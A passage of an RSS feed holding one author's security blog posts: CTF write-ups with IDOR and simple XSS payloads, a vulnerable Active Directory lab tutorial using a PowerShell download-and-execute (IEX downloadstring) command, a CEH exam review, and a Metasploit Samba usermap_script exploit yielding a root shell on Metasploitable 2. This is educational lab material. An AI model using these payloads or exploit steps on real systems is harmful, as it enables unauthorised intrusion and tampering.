href=”index.php?page=delete.php&amp;amp;id=8f14e45fceea167a5a36dedd4bea2543&quot;&gt;delete&lt;/a&gt;</pre><p>The id is an md5 hash. If you decrypt it, you get the post id</p><p>5. To exploit this, you need to md5 encrypt the id of the post you want to delete and replace it with the one on the above URL</p><p>6. Press `Delete` and you will be able to delete another user’s post. Your flag will be revealed then</p><p><strong>Vulnerabilities Covered</strong></p><p>1. Insecure Direct Object Reference</p><p>2. Cookie Manipulation</p><p>3. Password Attack</p><p>As I mentioned, this level was focused on manipulating access to the platform. You can pretty much move from user to user and create or delete posts without the password. Access control vulnerabilities can be fixed by denying access by default to all resources unless it is meant to be publicly available.</p><p>Until next time!</p><p><strong>Did you know you can give up to 50 claps?</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6efd86ebf652" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackerOne CTF: Micro CMS v1]]></title>
            <link>https://systemweakness.com/hackerone-ctf-micro-cms-v1-f91b1c4618e7?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/f91b1c4618e7</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Thu, 07 Jul 2022 08:18:51 GMT</pubDate>
            <atom:updated>2022-08-09T07:50:07.096Z</atom:updated>
            <content:encoded><![CDATA[<h4>CaptureTheFlag</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EYffcPqPX36VdoCjq4TWQQ.png" /></figure><p>TL;DR</p><p>I enjoy reading articles about bug bounties. They’re extremely interesting. I find it fascinating how easy it can be to find bugs in a system, and sometimes the technical details are confusing I can’t even follow. But I have been shying away from bug bounties for too long I have decided to get started on it. To get started, I have enrolled on HackerOne and I am going through their CTF for some practice. I will be publishing the CTF solutions here for beginners who might need a nudge.</p><p>CTF URL: <a href="https://ctf.hacker101.com/ctf">https://ctf.hacker101.com/ctf</a></p><h3>A little something to get you started</h3><p>This is a trivial challenge, as the name suggests. If you have any knowledge of web technologies you should be able to go through this within a minute.</p><h4>Steps to attack</h4><p>1. Start the challenge</p><p>2. You should see a web page written “Welcome to level 0. Enjoy your stay.”</p><p>3. Right-click on the page and go to view the page source</p><p>4. You should see the HTML code for the page. In that code, there is a link (url(https://medium.com/%E2%80%9Cbackground.png%E2%80%9D)) for the background image.</p><p>5. Copy that URL, background.png, and add it to the URL of the welcome page.</p><p>6 Your URL should look something like this</p><pre>https://7bbdf75cf337a52254af095158c9543b.ctf.hacker101.com/background.png</pre><p>and you should see the flag on that page</p><h3>Micro CMS v1</h3><p>This is an easy challenge. It contains 4 flags that you can find in different places. It contains simple web attacks such as XSS and IDOR.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmFXTZvL6tu3P-y1skJX9g.png" /></figure><h4>Steps to attack</h4><p>1. Start the challenge</p><p>2. You should see a page with 3 links, `Testing`, `Markdown Test`, `Create a new page`</p><p><strong>Flag 1</strong></p><p>1. Click on create a new page</p><p>2. You should see a page where you can add a title and content, then click create</p><p>3. Analyze the new page URL, you should see the indexing on the end of the page URL i.e.,</p><pre>https://31f2d2953d58f9ac05d32e6f6953c859.ctf.hacker101.com/page/10</pre><p>4. Go to “Edit Page” and notice that pages 3 to 9 are skipped and the new page is indexed 10</p><p>5. Try all the other pages by editing the URL index. This vulnerability is called <a href="https://portswigger.net/web-security/access-control/idor">Insecure Direct Object Reference</a> which allows a user to have access to pages that they shouldn&#39;t otherwise have access to.</p><p>6. The flag will be displayed when you reach page 7 i.e,</p><pre>https://31f2d2953d58f9ac05d32e6f6953c859.ctf.hacker101.com/page/edit/7</pre><p><strong>Flag 2</strong></p><p>1. Click the Testing page and go to “Edit this page”</p><p>2. The title section is vulnerable to <a href="https://portswigger.net/web-security/cross-site-scripting/reflected">simple reflected XSS</a></p><p>3. Edit the title to <strong>&lt;h1&gt;Testing&lt;/h1&gt;</strong></p><p>4. Click save then “Go home”</p><p>5. The flag will be reflected on the home page as an alert</p><p><strong>Flag 3</strong></p><p>1. This is a URL manipulation vulnerability. Click on any page.</p><p>2. Go the the “Edit this page” page</p><p>3. Add a closing quote on the URL so that the URL looks something like this</p><pre>https://31f2d2953d58f9ac05d32e6f6953c859.ctf.hacker101.com/page/edit/10&#39;</pre><p><em>PS: Notice the quote at the end of the URL</em></p><p>4. The flag will be revealed</p><p><strong>Flag 4</strong></p><p>1. The vulnerability here is that <strong>&lt;script&gt; </strong>is filtered but not attributed inside &lt;&gt;. This is again a Simple XSS. Open the “Edit Markdown” page</p><p>2. Where there is a button tag, replace it with the following:</p><p>&lt;button onclick=”alert(‘xss’)&gt;Some button&lt;/button&gt;</p><p>3. Save the page and right-click to view the page source</p><p>4. The flag will be revealed</p><p>That is all for today. If you made it to the end, I hope you found it helpful. I will be publishing more, and if you have an interest in web application security and bug bounties, please follow through.</p><p>Did you know you can give up to 50 claps?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f91b1c4618e7" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/hackerone-ctf-micro-cms-v1-f91b1c4618e7">HackerOne CTF: Micro CMS v1</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WazeHell Vulnerable AD Tutorial]]></title>
            <link>https://tsitsiflora.medium.com/wazehell-vulnerable-ad-tutorial-3cc6e729ef60?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/3cc6e729ef60</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[vulnerablead]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Fri, 06 May 2022 09:25:27 GMT</pubDate>
            <atom:updated>2022-05-06T09:25:27.554Z</atom:updated>
            <content:encoded><![CDATA[<h4>TL;DR</h4><p>After my Pentester Academy lab access expired, I still needed more practice before I could attempt the exam. I had only purchased 30 days and although I had gone through every concept, I still needed to drill everything down. A friend had suggested I set up a vulnerable AD lab, from <a href="https://github.com/WazeHell/vulnerable-AD">this link</a>, but I could not find a tutorial on how to set it up anywhere. The lab is pretty comprehensive, but for a beginner, a bunch of scripts can be pretty confusing. So I decided to write this, for anyone needing help.</p><h4>Prerequisites</h4><ol><li>You need to have a Windows server running in VBox or Vmware. I had a Windows Server 2019 set up in VMware. I already had an AD set up on this.</li><li>If you don’t have AD set up, that’s okay too. You can follow the videos from TCM academy that I have <a href="https://drive.google.com/drive/folders/1X3ZczTB7xqEjBtH5R378yKMKtnUvBERJ?usp=sharing">linked here</a>.</li><li>If you only have a server without an AD in your VM, and you don’t want to set up the AD manually, you can set it up using the following script from WazeHell’s README.</li></ol><pre>Install-ADDSForest -CreateDnsDelegation:$false -DatabasePath &quot;C:\\Windows\\NTDS&quot; -DomainMode &quot;7&quot; -DomainName &quot;cs.org&quot; -DomainNetbiosName &quot;cs&quot; -ForestMode &quot;7&quot; -InstallDns:$true -LogPath &quot;C:\\Windows\\NTDS&quot; -NoRebootOnCompletion:$false -SysvolPath &quot;C:\\Windows\\SYSVOL&quot; -Force:$true</pre><p><em>PS: I’m not sure how well this works because I already had an AD set up.</em></p><h3>Getting Started</h3><p>I think the setup is pretty straightforward once you are done with it, but when you are facing errors it’s hard to find ways to resolve the errors. So I’m gonna provide a clear road for that.</p><ol><li>Login to your DC machine (mine is a Windows Server 2019)</li><li>Open Powershell</li><li>Run the following command</li></ol><pre>IEX((new-object net.webclient).downloadstring(&quot;https://raw.githubusercontent.com/wazehell/vulnerable-AD/master/vulnad.ps1&quot;));</pre><p>This is to download the script from the Github repo.</p><p>4. You will most probably get this error when you first run the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wl9Hm2MEuQmwYdS8DvjDiQ.png" /></figure><p>This is caused by the banner function in the script. From reading the issues on the GitHub page, I found out that the function is not encoded properly and that is why it is spewing errors like that.</p><p>5. To resolve the error, clone the repo to your machine.</p><pre>git clone <a href="https://github.com/WazeHell/vulnerable-AD.git">https://github.com/WazeHell/vulnerable-AD.git</a></pre><p>Open the vulnad.ps1 script to edit it. Essentially all you have to do is delete the banner function and the script will work as expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZYL55ecBxOcdWzaPeprV0A.png" /></figure><p>As you can see in the picture, the highlighted lines are causing errors. Delete those and save the script.</p><p>6. Run the script. If you edited and saved the script saved on your DC you can run the following command:</p><pre>. .\vulnad.ps1</pre><p>followed by:</p><pre>Invoke-VulnAD -UsersLimit 100 -DomainName &quot;cs.org&quot;</pre><p>Replace cs.org with the name of your Domain. Mine is alderson.local.</p><p>After that you should see the following output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZzSgokEuQQEbCiAFfeOQgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OZESDwcXXz9-Su5KdRy2BA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*L6eRrmiKvHuHcvxZM4fBjA.png" /></figure><p>And you have successfully set up your vulnerable AD!</p><p>I hope this helps. Follow me on more content infosec-related, and don’t forget to clap if you managed to get to the end.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3cc6e729ef60" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I got my CEH Practical, but is it worth it?]]></title>
            <link>https://tsitsiflora.medium.com/i-got-my-ceh-practical-but-is-it-worth-it-5ef3fc5184c3?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ef3fc5184c3</guid>
            <category><![CDATA[ceh-certification]]></category>
            <category><![CDATA[review]]></category>
            <category><![CDATA[cert]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[brutal]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Fri, 10 Dec 2021 21:16:34 GMT</pubDate>
            <atom:updated>2021-12-10T21:16:34.201Z</atom:updated>
            <content:encoded><![CDATA[<p>Short answer: For $550, no.</p><p>Long answer: For just $99, maybe. Still not a straight yes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*S2wglWy2tQ-KoIQ_2gq_sQ.jpeg" /><figcaption>This image is pretty accurate. i did not feel like celebrating at all when I came out of the exam, I was a bit embarrassed.</figcaption></figure><p>As 2021 started, I had 2 certification goals, the Security+ and the CEH Practical. The Security+ was just to get me started, it’s a theoretical exam, and the majority of its content I’ve already covered in university. It was a nice refresher nevertheless, and I learned some stuff from it, such as the Cryptography topic.</p><p>For the CEH Practical, I wanted a beginner certification which is also a practical. I have learned now that I could have opted for the eJPT, but we’re here now. As we got to mid-year, I had decided I wasn’t going to sit for the CEH, but instead, take about 6 months or so studying for the CRTP. But then the “scholarship” from EC council got announced and I got tempted. I applied for the scholarship, obviously obtained one, and scheduled my exam.</p><h4>Preparation</h4><p>From the reviews I had read, <a href="https://johnjhacking.com/blog/ceh-master-an-honest-review/">this one is my favorite</a>, the CEH exam is dubbed to be a walk in the park. Although EC Council claims that the challenges in the exam mirror real-world environments, they could not be any further from the truth. For my exam prep, I did not plan to purchase the labs, I just read some content online and purchased my HTB VIP voucher. My plan was to just do the challenges on there and call it a day.</p><p>TBH, I only started going through the actual <a href="https://github.com/CyberSecurityUP/Guide-CEH-Practical-Master">CEH content</a> about a week before the exam. I also tried starting a <a href="https://github.com/tsitsiflora/CEH-Practical-Cheatsheet">Git repo</a> with a cheat sheet for the exam before realizing I was way off base.</p><h4>The exam</h4><p>My exam was scheduled for 2 p.m, and I was ready to get right in and out within one and a half hours. But they clearly had other plans for me. I clicked start for my exam, and I had to wait for the proctor, whom I ended up waiting for, for 50minutes. This gave me so much anxiety because I did not know what was wrong and I just kept refreshing the page and restarting the video call.</p><p>Then I got into the exam, pretty pissed at this point. The exam setup is the same you’d find in the EC Council labs. You’re provided with 2 machines, and you’ll have challenges in each you’d have to complete. Here’s the catch, the machines were as slow as a snail, and tested my patience to the brim. At one point I almost just walked out of the exam without finishing because it was not worth it.</p><p>The challenges are more like a CTF, nothing you will find in the real world. They do not require a lot of thought, just knowing which tools to use will get you by. Sample questions are:</p><ul><li>Which machine has FTP running?</li><li>What’s the password of this user on machine X?</li><li>What is the password hidden in the jpeg file?</li></ul><p>Almost all of them are in this format, and if you do not think too much you will be able to ace the exam. I completed 17 questions and called it quits, I could no longer keep going and I was about 3 hours 30 minutes into the exam. I got out super frustrated, even though I had passed.</p><h4>Conclusion</h4><p>Will this exam develop any of your penetration testing skills? <strong>Probably not.</strong></p><p>Should you pay $550 for it? <strong>Please don’t.</strong></p><p>It does show that you have a passion for learning about hacking and this is just a start. If you are a frequent player on HTB or THM you are probably advanced than the exam and will pass without blinking. I’d recommend looking at other certification options because at this point, the CEH practical does not validate any skills. What’s more excrutiating is the testing environment(ugh, kill me).</p><p>That’s my take. You’re better off without this cert.</p><p>’Til next time</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ef3fc5184c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Samba “Username map script” in Metasploitable 2]]></title>
            <link>https://tsitsiflora.medium.com/samba-username-map-script-in-metasploitable-2-887ffce250d3?source=rss-6b2ee3b4a093------2</link>
            <guid isPermaLink="false">https://medium.com/p/887ffce250d3</guid>
            <category><![CDATA[metasploitable]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[metasploit-framework]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Tsitsi Flora]]></dc:creator>
            <pubDate>Wed, 02 Sep 2020 10:15:13 GMT</pubDate>
            <atom:updated>2020-09-02T10:15:13.155Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Welcome to yet another article on exploiting Metasploitable 2. This exploit is very much similar to my previous post as you shall see, we are using the same technique to discover a vulnerability. Most of this discovery lies in doing research on the internet about the version of a service being used, and finding out if there are any known exploits on that.</p><p>Metasploitable 2 is running on 172.20.10.8, so i did the scanning as usual to check the open ports and services running on the target machine.</p><pre>nmap -sV -sS -A 172.20.10.8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/0*igZl5oDDar7LLMF6.png" /></figure><p>As we can see, the target is using Samba version 3.0.20, which allows an attacker to execute arbitrary commands, by specifying a username containg shell meta characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ik9ourZMRbMpcEPp.png" /></figure><p>We are going to use the metasploit framework to run the exploit hence:</p><pre>msfconsole<br>search samba 3.0.20<br>use exploit/multi/samba/usermap_script</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/0*2Z_SNozJ9tjGyRom.png" /></figure><p>We set our target:</p><pre>set RHOSTS 172.20.10.8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/0*hF_I0EATGfUZPLCh.png" /></figure><p>and run the exploit</p><pre>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/0*C9na6JXYkcB1kM0L.png" /></figure><p>This automatically gives us a root shell, where we can execute arbitrary commands and dig further in the target machine. This is a very simple exploit that depends on research and further reading to understand the vulnerability being manipulated. It is also important to use the metasploit framework at our disposal t the fullest, as it contains a lot of exploits for known vulnerabilities.</p><p>Knowing how to write your own exploits is also important, for situatios where you are conducting a real life penetration test and you discover a new vulnerability. I will also be looking into how to write simple exploits with Python, for practice sake.</p><p>But that’s it for now!</p><p>This post was originally published on <a href="https://tsitsiflora.github.io/noob-learning/2020/08/18/Samba-Username-map-script.html">Noob Learning</a>. Visit the <a href="https://tsitsiflora.github.io/noob-learning">site</a> for more information security related posts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=887ffce250d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>